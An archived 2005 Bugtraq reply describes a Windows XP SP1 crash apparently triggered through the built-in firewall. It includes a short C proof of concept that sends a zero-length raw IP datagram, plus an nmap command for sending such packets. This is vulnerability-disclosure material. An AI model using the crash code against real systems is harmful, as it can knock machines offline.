Re: Possible windows+python bug

liquid_at_cyberspace.org
Date: 03/23/05

  • Next message: Shalom Carmel: "Backdoors in AS/400 emulations allow the server to attack connected PC workstations"
    Date: 23 Mar 2005 17:48:32 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is) In-Reply-To: <20050322122118.16702.qmail@www.securityfocus.com>

    I would like to add few things:

    1. bug has nothing to do with Python, I deeply apologise to Python developers (which is my favorite piece of software)

    2. here is an example in C with same effect:

    #include <winsock2.h>

    void main() {
      
      WSADATA wsaData;
      SOCKET testSocket;
      SOCKADDR_IN RecvAddr;
      int port = 0;
      char payload[256];
      int payloadLen = 0;

      WSAStartup(MAKEWORD(2,2), &wsaData);

      testSocket = socket(AF_INET, SOCK_RAW, 4 );

      RecvAddr.sin_family = AF_INET;
      RecvAddr.sin_port = htons(port);
      RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
      /*you could replace 127.0.0.1 with any other IP address*/

      sendto(testSocket,
        payload,
        payloadLen,
        0,
        (SOCKADDR *) &RecvAddr,
        sizeof(RecvAddr));

      closesocket(testSocket);

      WSACleanup();
      return;
    }

    3. problem doesn't appear when "int payloadLen = 0;" is replaced with, say, "int payloadLen = 20;"

    4. problem doesn't appear when built-in Windows firewall is disabled

    5. problem still appears when we replace IP protocol 4 with other IP protocol, for example 0

    6. and most important you have to be logged in with administrator privileges to produce crash

    7. such datagrams sent with some tools don't cause crash, for example try with nmap-3.75 or higher (replace x.x.x.x with real IP address):
      nmap -sO -n -P0 -p 4 --data_length 0 x.x.x.x
    (this is because nmap uses winpcap and doesn't depend on OS for sending datagrams)

    8. tried to crash box remotely sending IPIP datagrams with zero length payload (using example in 7.) , no succeed, and no big suprise :)

    To resume, this is minor security risk, because you have to be logged in as administrator, and if you are, you can do worst things than this :) . Anyhow this is an interesting issue, and clearly related with WindowsXP SP1 built-in firewall.
    Has anyone reproduced this bug on SP2?


  • Next message: Shalom Carmel: "Backdoors in AS/400 emulations allow the server to attack connected PC workstations"

    Relevant Pages

    • Re: OpenSource documentation problems
      ... a bug report that says more than "this doc is no good". ... important to report documentation bugs as program bugs. ... With Python the docs seem like much more of an afterthought. ...
      (comp.lang.python)
    • Weekly Python Patch/Bug Summary
      ... Patch / Bug Summary ... Fix various x86_64 build issues ... http://python.org/sf/1038388 closed by rhettinger ... New patch for Python 2.3 spec file. ...
      (comp.lang.python)
    • Re: Indentation and optional delimiters
      ... Probably many years ago a language like Python was too much ... But there's a need for higher level computer languages. ... Today Ruby is a bit higher-level than Python (despite being rather ... So it's a type bug. ...
      (comp.lang.python)
    • ANN: wxPython 2.6.0.1
      ... I'm pleased to announce the 2.6.0.1 release of wxPython, ... consists mostly of bug fixes made since the 2.6.0.0 release a month ... wxPython is a GUI toolkit for the Python programming language. ... in case there is more than one adjustment for a window in a single DeferWindowPos set, then the pending values can be used for defaults instead of current values. ...
      (comp.lang.python)
    • python-dev Summary for 2005-06-01 through 2005-06-15
      ... AMK organized another `Python Bug Day`_ on Saturday, ... Contributing Threads: ... Michael Hoffman gave summaries of more ...
      (comp.lang.python)